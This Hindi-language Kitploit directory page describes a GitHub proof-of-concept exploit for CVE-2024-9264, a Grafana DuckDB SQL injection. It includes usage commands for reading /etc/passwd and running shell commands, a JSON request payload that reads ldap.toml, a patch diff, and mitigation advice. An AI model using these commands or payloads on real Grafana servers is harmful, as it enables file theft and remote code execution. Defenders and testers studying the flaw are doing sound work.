Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/nollium/cve-2024-9264
पेलोड जनरेशनभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubnollium/cve-2024-9264

CVE-2024-9264

Grafana मनमाना फ़ाइल-पठन और RCE (CVE-2024-9264) के लिए एक्सप्लॉइट

रिपॉजिटरी देखें
1321631 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-9264

Grafana प्रमाणीकरण के बाद DuckDB SQL इंजेक्शन (RCE, फ़ाइल पढ़ना)

सिद्धांत का प्रमाण (PoC)

यह PoC एक प्रमाणित उपयोगकर्ता का उपयोग करके CVE-2024-9264 के शोषण को प्रदर्शित करता है जो DuckDB SQL क्वेरी निष्पादित करता है और फ़ाइल सिस्टम पर एक मनमानी फ़ाइल पढ़ता है या दूरस्थ रूप से मनमाना कोड निष्पादित करता है।

मनमाना कोड केवल Grafana v11.0.0 पर निष्पादित किया जा सकता है।

फ़ाइलें सभी कमजोर संस्करणों में पढ़ी जा सकती हैं।

सेटअप: आवश्यक निर्भरताएँ इस प्रकार स्थापित करें:

root@kitploit:~
pip install -r requirements.txt

उपयोग

फ़ाइल पढ़ें (सार्वभौमिक):

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

कमांड निष्पादन (केवल v11.0.0)

root@kitploit:~
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000

आप मनमानी DuckDB क्वेरी भी निष्पादित कर सकते हैं, जैसे कि पर्यावरण चर प्राप्त करने के लिए getenv को कॉल करना:

root@kitploit:~
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

शोषण किए जा सकने वाले उपयोगिता DuckDB फ़ंक्शनों की सूची यहाँ पाई जा सकती है।

कमजोरी का अवलोकन

CVE-2024-9264 ग्राफाना की प्रयोगात्मक SQL एक्सप्रेशन सुविधा में एक DuckDB SQL इंजेक्शन कमजोरी है। कोई भी प्रमाणित उपयोगकर्ता ग्राफाना डैशबोर्ड में संशोधित एक्सप्रेशन के माध्यम से मनमानी DuckDB SQL क्वेरी निष्पादित कर सकता है।

प्रभावित संस्करण:

  • ग्राफाना OSS और एंटरप्राइज़ संस्करण 11.0.0 - 11.0.5, 11.1.0 - 11.1.6, और 11.2.0 - 11.2.1.

पैच किए गए संस्करण:

  • 11.0.5+security-01 और उच्चतर

पैच ढूँढना

ग्राफाना ने इस कमजोरी को ठीक करने के लिए विशेष संस्करण जारी किए। पैच का विश्लेषण करने के लिए, परिवर्तनों की तुलना करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:

root@kitploit:~
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

इससे पता चलता है कि SQL एक्सप्रेशन सुविधा को बस कमजोर संस्करणों से हटा दिया गया था।

root@kitploit:~
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}
root@kitploit:~
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

पैच SQL एक्सप्रेशन को पूरी तरह से हटा देता है, जिससे शोषण की संभावना समाप्त हो जाती है।

कमजोरी का शोषण

  1. Grafana लॉन्च करें: Grafana को संस्करण 11.0.5 के साथ चलाएँ:

    root@kitploit:~
    docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
    
  2. एक एक्सप्रेशन संशोधित करें: 'Math' जैसे एक्सप्रेशन के साथ एक डैशबोर्ड बनाएँ, Burp के साथ अनुरोध को इंटरसेप्ट करें, और datasource प्रकार को math से sql में बदलें।

    एक HTTP अनुरोध /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101 पर भेजा जाएगा।

    नीचे एक मनमानी फ़ाइल, जैसे ./conf/ldap.toml, पढ़ने के लिए DuckDB SQL क्वेरी करने हेतु आवश्यक न्यूनतम JSON है:

    root@kitploit:~
    {
      "queries": [
        {
          "refId": "B",
          "datasource": {
            "type": "__expr__",
            "uid": "__expr__",
            "name": "Expression"
          },
          "type": "sql",
          "hide": false,
          "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
          "window": ""
        }
      ],
      "from": "1729313027261",
      "to": "1729334627261"
    }
    

वास्तविक शोषण के लिए किसी डैशबोर्ड की आवश्यकता नहीं है, यह क्वेरी निष्पादित करने के लिए HTTP अनुरोध खोजने का एक आसान तरीका है।

शोषण की संभावना

यह ध्यान देना महत्वपूर्ण है कि जबकि यह कमजोरी गंभीर है, इसका शोषण इस बात पर निर्भर करता है कि ग्राफाना सर्वर पर DuckDB बाइनरी स्थापित है या नहीं। डिफ़ॉल्ट रूप से, Grafana DuckDB स्थापित के साथ नहीं आता है, और ग्राफाना इंटरफ़ेस से सीधे इसे स्थापित करने का कोई विकल्प नहीं है।

इस कमजोरी के शोषण योग्य होने के लिए, एक प्रशासक ने मैन्युअल रूप से DuckDB स्थापित किया होना चाहिए और इसे ग्राफाना सर्वर के $PATH में जोड़ा होना चाहिए। यदि DuckDB मौजूद नहीं है, तो SQL इंजेक्शन कमजोरी का लाभ नहीं उठाया जा सकता है, जो डिफ़ॉल्ट इंस्टॉलेशन में सफल शोषण की संभावना को काफी कम कर देता है।

शमन

ग्राफाना को पैच किए गए संस्करणों में अपडेट करें, और यदि पैचिंग में देरी हो रही है तो सुनिश्चित करें कि DuckDB बाइनरी $PATH में मौजूद नहीं है।

श्रेय

यह PoC cfreal द्वारा विकसित ten फ्रेमवर्क का उपयोग करता है।

टूल डाउनलोड करें